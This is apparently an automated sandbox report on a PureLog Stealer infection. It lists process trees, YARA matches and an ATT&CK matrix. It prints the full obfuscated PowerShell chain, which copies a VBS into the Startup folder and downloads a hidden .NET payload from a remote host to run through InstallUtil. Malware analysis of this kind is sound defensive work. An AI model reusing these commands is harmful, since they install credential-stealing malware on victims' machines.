Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Windows\system32\LETA_pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pSHOMe[4]+$psHOME[30]+'X') (('PhRimageUrl'+' = fXYhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f fXY;PhR'+'webClient = New-Object System.Net.WebClient;PhRi'+'mageBytes = PhRwebClient.'+'DownloadData(PhRimageUrl);PhRimageText = [Sy'+'stem.Text.Enco'+'ding]::UTF8.GetString(PhRimageBy'+'tes);PhRstart'+'Flag = fXY<<BASE64_START>>fXY;PhRendFlag = fXY<<'+'BASE64_END>>fXY;PhRstartInd'+'ex = PhRimageText.I'+'nde'+'xOf(PhRstartFlag);PhRendIndex = PhRimageText.IndexOf(PhRendFla'+'g);PhRstartIndex -ge 0 -and PhRendIndex -gt PhRstartIndex;P'+'hRstartIndex += PhRs'+'tartFlag.Length;PhRbase64Length = PhRendIndex - PhRstartIndex;PhRbase64Command = PhRimageText.Substring(PhRstartIndex'+', PhRbase64Length);PhRbase64Reversed = -join (PhRbase64Command.ToCharArray() uLT ForEach-Object { PhR'+'_ })[-1..-(PhRbase64Command.Length)];PhRcommandBytes = [Syst'+'em.Convert]::FromBase64String(PhRb'+'ase64Reversed);PhRloadedAssembly = [System.Reflection.Assembly]::Load(PhRcommandBytes);PhRvaiMethod = [dnlib.IO'+'.Home].GetMethod(fXYVAIfXY);PhRvaiMethod.Invoke(PhRnull, @(fXYtxt.70o1jz/eom.xobtac.selif//:sptthfXY, fXYdes'+'ativadofXY, fXYdesativadofXY, fX'+'YdesativadofXY, fXYInstallUtilfXY, fXYdesativadofX'+'Y, fXYdesativadofXY,fXYdesativadofXY,fXYdesativadofXY,fXYdesativado'+'fXY,fXYdesativadofXY,fXYdesativadofXY,fXY1fXY,fXYdesativadofXY));').REplACE(([chAR]102+[chAR]88+[chAR]89),[stRINg][chAR]39).REplACE(([chAR]117+[chAR]76+[chAR]84),'\|').REplACE('PhR','$') )"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\windows\system32\leta_pdf.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.jjc.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'jiggjhbtse9nzvs0xsskchnit01fwzmwxssnwccpicgoj1boumltywdlvxjsjysnid0gzlhzahr0chm6ly8xmde3lmzpbgvtywlslmnvbs9hcgkvzicrj2lszs9nzxq/zicrj2lszwtlet0yjysnqwffyldvovjldtq1dddcvtfrvmdzzdlwvdlwz1ntbhztdedyblrjq2zgag1us2oztem2u1f0swnpy19umzv3jnbrx3zpzd1mzdrmnje0ymiymdljnjjjmtczmdk0nte3nmewota0zibmwfk7ughsjysnd2viq2xpzw50id0gtmv3lu9iamvjdcbtexn0zw0utmv0lldlyknsawvuddtqafjpjysnbwfnzuj5dgvzid0gughsd2viq2xpzw50licrj0rvd25sb2fkrgf0yshqafjpbwfnzvvybck7ughsaw1hz2vuzxh0id0gw1n5jysnc3rlbs5uzxh0lkvuy28nkydkaw5nxto6vvrgoc5hzxrtdhjpbmcoughsaw1hz2vcescrj3rlcyk7ughsc3rhcnqnkydgbgfnid0gzlhzpdxcqvnfnjrfu1rbulq+pmzywttqafjlbmrgbgfnid0gzlhzpdwnkydcqvnfnjrfru5epj5mwfk7ughsc3rhcnrjbmqnkydleca9ifboumltywdlvgv4dc5jjysnbmrljysnee9mkfbounn0yxj0rmxhzyk7ughszw5ksw5kzxggpsbqafjpbwfnzvrlehqusw5kzxhpzihqafjlbmrgbgenkydnkttqafjzdgfydeluzgv4ic1nzsawic1hbmqgughszw5ksw5kzxgglwd0ifbounn0yxj0sw5kzxg7uccrj2hsc3rhcnrjbmrlecarpsbqafjzjysndgfydezsywcutgvuz3roo1boumjhc2u2nexlbmd0aca9ifboumvuzeluzgv4ic0gughsc3rhcnrjbmrledtqafjiyxnlnjrdb21tyw5kid0gughsaw1hz2vuzxh0lln1ynn0cmluzyhqafjzdgfydeluzgv4jysnlcbqafjiyxnlnjrmzw5ndggpo1boumjhc2u2nfjldmvyc2vkid0glwpvaw4gkfboumjhc2u2nenvbw1hbmquvg9dagfyqxjyyxkoksb1tfqgrm9yrwfjac1pymply3qgeybqafinkydfih0pwy0xli4tkfboumjhc2u2nenvbw1hbmqutgvuz3rokv07ughsy29tbwfuzej5dgvzid0gw1n5c3qnkydlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzyhqafjijysnyxnlnjrszxzlcnnlzck7ughsbg9hzgvkqxnzzw1ibhkgpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkfboumnvbw1hbmrcexrlcyk7ughsdmfptwv0ag9kid0gw2rubglilklpjysnlkhvbwvdlkdlde1ldghvzchmwflwqulmwfkpo1bounzhau1ldghvzc5jbnzva2uoughsbnvsbcwgqchmwfl0ehqunzbvmwp6l2vvbs54b2j0ywmuc2vsawyvlzpzchr0agzywswgzlhzzgvzjysnyxrpdmfkb2zywswgzlhzzgvzyxrpdmfkb2zywswgzlgnkydzzgvzyxrpdmfkb2zywswgzlhzsw5zdgfsbfv0awxmwfksigzywwrlc2f0axzhzg9mwccrj1ksigzywwrlc2f0axzhzg9mwfkszlhzzgvzyxrpdmfkb2zywsxmwflkzxnhdgl2ywrvzlhzlgzywwrlc2f0axzhzg8nkydmwfkszlhzzgvzyxrpdmfkb2zywsxmwflkzxnhdgl2ywrvzlhzlgzywtfmwfkszlhzzgvzyxrpdmfkb2zywskpoycplljfcgxbq0uokftjaefsxtewmitby2hbul04octby2hbul04osksw3n0ukloz11by2hbul0zoskuukvwbefdrsgow2noqvjdmte3k1tjaefsxtc2k1tjaefsxtg0kswnfccplljfcgxbq0uoj1bouicsjyqnksap';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "&( $pshome[4]+$pshome[30]+'x') (('phrimageurl'+' = fxyhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'aa_bwo9reu45t7bu1kvgsd9pt9pgsslvstgrnticffhmtkj3lc6sqticoc_t35w&pk_vid=fd4f614bb209c62c1730945176a0904f fxy;phr'+'webclient = new-object system.net.webclient;phri'+'magebytes = phrwebclient.'+'downloaddata(phrimageurl);phrimagetext = [sy'+'stem.text.enco'+'ding]::utf8.getstring(phrimageby'+'tes);phrstart'+'flag = fxy<<base64_start>>fxy;phrendflag = fxy<<'+'base64_end>>fxy;phrstartind'+'ex = phrimagetext.i'+'nde'+'xof(phrstartflag);phrendindex = phrimagetext.indexof(phrendfla'+'g);phrstartindex -ge 0 -and phrendindex -gt phrstartindex;p'+'hrstartindex += phrs'+'tartflag.length;phrbase64length = phrendindex - phrstartindex;phrbase64command = phrimagetext.substring(phrstartindex'+', phrbase64length);phrbase64reversed = -join (phrbase64command.tochararray() ult foreach-object { phr'+'_ })[-1..-(phrbase64command.length)];phrcommandbytes = [syst'+'em.convert]::frombase64string(phrb'+'ase64reversed);phrloadedassembly = [system.reflection.assembly]::load(phrcommandbytes);phrvaimethod = [dnlib.io'+'.home].getmethod(fxyvaifxy);phrvaimethod.invoke(phrnull, @(fxytxt.70o1jz/eom.xobtac.selif//:sptthfxy, fxydes'+'ativadofxy, fxydesativadofxy, fx'+'ydesativadofxy, fxyinstallutilfxy, fxydesativadofx'+'y, fxydesativadofxy,fxydesativadofxy,fxydesativadofxy,fxydesativado'+'fxy,fxydesativadofxy,fxydesativadofxy,fxy1fxy,fxydesativadofxy));').replace(([char]102+[char]88+[char]89),[string][char]39).replace(([char]117+[char]76+[char]84),'\|').replace('phr','$') )"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\windows\system32\leta_pdf.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.jjc.vbs')')	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'jiggjhbtse9nzvs0xsskchnit01fwzmwxssnwccpicgoj1boumltywdlvxjsjysnid0gzlhzahr0chm6ly8xmde3lmzpbgvtywlslmnvbs9hcgkvzicrj2lszs9nzxq/zicrj2lszwtlet0yjysnqwffyldvovjldtq1dddcvtfrvmdzzdlwvdlwz1ntbhztdedyblrjq2zgag1us2oztem2u1f0swnpy19umzv3jnbrx3zpzd1mzdrmnje0ymiymdljnjjjmtczmdk0nte3nmewota0zibmwfk7ughsjysnd2viq2xpzw50id0gtmv3lu9iamvjdcbtexn0zw0utmv0lldlyknsawvuddtqafjpjysnbwfnzuj5dgvzid0gughsd2viq2xpzw50licrj0rvd25sb2fkrgf0yshqafjpbwfnzvvybck7ughsaw1hz2vuzxh0id0gw1n5jysnc3rlbs5uzxh0lkvuy28nkydkaw5nxto6vvrgoc5hzxrtdhjpbmcoughsaw1hz2vcescrj3rlcyk7ughsc3rhcnqnkydgbgfnid0gzlhzpdxcqvnfnjrfu1rbulq+pmzywttqafjlbmrgbgfnid0gzlhzpdwnkydcqvnfnjrfru5epj5mwfk7ughsc3rhcnrjbmqnkydleca9ifboumltywdlvgv4dc5jjysnbmrljysnee9mkfbounn0yxj0rmxhzyk7ughszw5ksw5kzxggpsbqafjpbwfnzvrlehqusw5kzxhpzihqafjlbmrgbgenkydnkttqafjzdgfydeluzgv4ic1nzsawic1hbmqgughszw5ksw5kzxgglwd0ifbounn0yxj0sw5kzxg7uccrj2hsc3rhcnrjbmrlecarpsbqafjzjysndgfydezsywcutgvuz3roo1boumjhc2u2nexlbmd0aca9ifboumvuzeluzgv4ic0gughsc3rhcnrjbmrledtqafjiyxnlnjrdb21tyw5kid0gughsaw1hz2vuzxh0lln1ynn0cmluzyhqafjzdgfydeluzgv4jysnlcbqafjiyxnlnjrmzw5ndggpo1boumjhc2u2nfjldmvyc2vkid0glwpvaw4gkfboumjhc2u2nenvbw1hbmquvg9dagfyqxjyyxkoksb1tfqgrm9yrwfjac1pymply3qgeybqafinkydfih0pwy0xli4tkfboumjhc2u2nenvbw1hbmqutgvuz3rokv07ughsy29tbwfuzej5dgvzid0gw1n5c3qnkydlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzyhqafjijysnyxnlnjrszxzlcnnlzck7ughsbg9hzgvkqxnzzw1ibhkgpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkfboumnvbw1hbmrcexrlcyk7ughsdmfptwv0ag9kid0gw2rubglilklpjysnlkhvbwvdlkdlde1ldghvzchmwflwqulmwfkpo1bounzhau1ldghvzc5jbnzva2uoughsbnvsbcwgqchmwfl0ehqunzbvmwp6l2vvbs54b2j0ywmuc2vsawyvlzpzchr0agzywswgzlhzzgvzjysnyxrpdmfkb2zywswgzlhzzgvzyxrpdmfkb2zywswgzlgnkydzzgvzyxrpdmfkb2zywswgzlhzsw5zdgfsbfv0awxmwfksigzywwrlc2f0axzhzg9mwccrj1ksigzywwrlc2f0axzhzg9mwfkszlhzzgvzyxrpdmfkb2zywsxmwflkzxnhdgl2ywrvzlhzlgzywwrlc2f0axzhzg8nkydmwfkszlhzzgvzyxrpdmfkb2zywsxmwflkzxnhdgl2ywrvzlhzlgzywtfmwfkszlhzzgvzyxrpdmfkb2zywskpoycplljfcgxbq0uokftjaefsxtewmitby2hbul04octby2hbul04osksw3n0ukloz11by2hbul0zoskuukvwbefdrsgow2noqvjdmte3k1tjaefsxtc2k1tjaefsxtg0kswnfccplljfcgxbq0uoj1bouicsjyqnksap';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "&( $pshome[4]+$pshome[30]+'x') (('phrimageurl'+' = fxyhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'aa_bwo9reu45t7bu1kvgsd9pt9pgsslvstgrnticffhmtkj3lc6sqticoc_t35w&pk_vid=fd4f614bb209c62c1730945176a0904f fxy;phr'+'webclient = new-object system.net.webclient;phri'+'magebytes = phrwebclient.'+'downloaddata(phrimageurl);phrimagetext = [sy'+'stem.text.enco'+'ding]::utf8.getstring(phrimageby'+'tes);phrstart'+'flag = fxy<<base64_start>>fxy;phrendflag = fxy<<'+'base64_end>>fxy;phrstartind'+'ex = phrimagetext.i'+'nde'+'xof(phrstartflag);phrendindex = phrimagetext.indexof(phrendfla'+'g);phrstartindex -ge 0 -and phrendindex -gt phrstartindex;p'+'hrstartindex += phrs'+'tartflag.length;phrbase64length = phrendindex - phrstartindex;phrbase64command = phrimagetext.substring(phrstartindex'+', phrbase64length);phrbase64reversed = -join (phrbase64command.tochararray() ult foreach-object { phr'+'_ })[-1..-(phrbase64command.length)];phrcommandbytes = [syst'+'em.convert]::frombase64string(phrb'+'ase64reversed);phrloadedassembly = [system.reflection.assembly]::load(phrcommandbytes);phrvaimethod = [dnlib.io'+'.home].getmethod(fxyvaifxy);phrvaimethod.invoke(phrnull, @(fxytxt.70o1jz/eom.xobtac.selif//:sptthfxy, fxydes'+'ativadofxy, fxydesativadofxy, fx'+'ydesativadofxy, fxyinstallutilfxy, fxydesativadofx'+'y, fxydesativadofxy,fxydesativadofxy,fxydesativadofxy,fxydesativado'+'fxy,fxydesativadofxy,fxydesativadofxy,fxy1fxy,fxydesativadofxy));').replace(([char]102+[char]88+[char]89),[string][char]39).replace(([char]117+[char]76+[char]84),'\|').replace('phr','$') )"	Jump to behavior

Source: InstallUtil.exe, 0000000D.00000002.3427696368.0000000002F39000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.3427696368.0000000002F0E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.3427696368.0000000002F0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: InstallUtil.exe, 0000000D.00000002.3427696368.0000000002F0E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`,
Source: InstallUtil.exe, 0000000D.00000002.3427696368.0000000002F39000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.3427696368.0000000002F0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerTe
Source: InstallUtil.exe, 0000000D.00000002.3427696368.0000000002F39000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.3427696368.0000000002F0E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.3427696368.0000000002F0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected PureLog Stealer

Source: Yara match	File source: 13.2.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.InstallUtil.exe.406d60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3420074750.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3427696368.0000000002EA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6284, type: MEMORYSTR

Source: InstallUtil.exe, 0000000D.00000002.3421734671.0000000001157000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000D.00000002.3456980459.0000000005888000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Source: Yara match	File source: 13.2.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.InstallUtil.exe.406d60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3420074750.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 13.2.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.InstallUtil.exe.406d60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3420074750.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	1 Windows Management Instrumentation	221 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	312 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	12 Obfuscated Files or Information	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	Login Hook	1 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
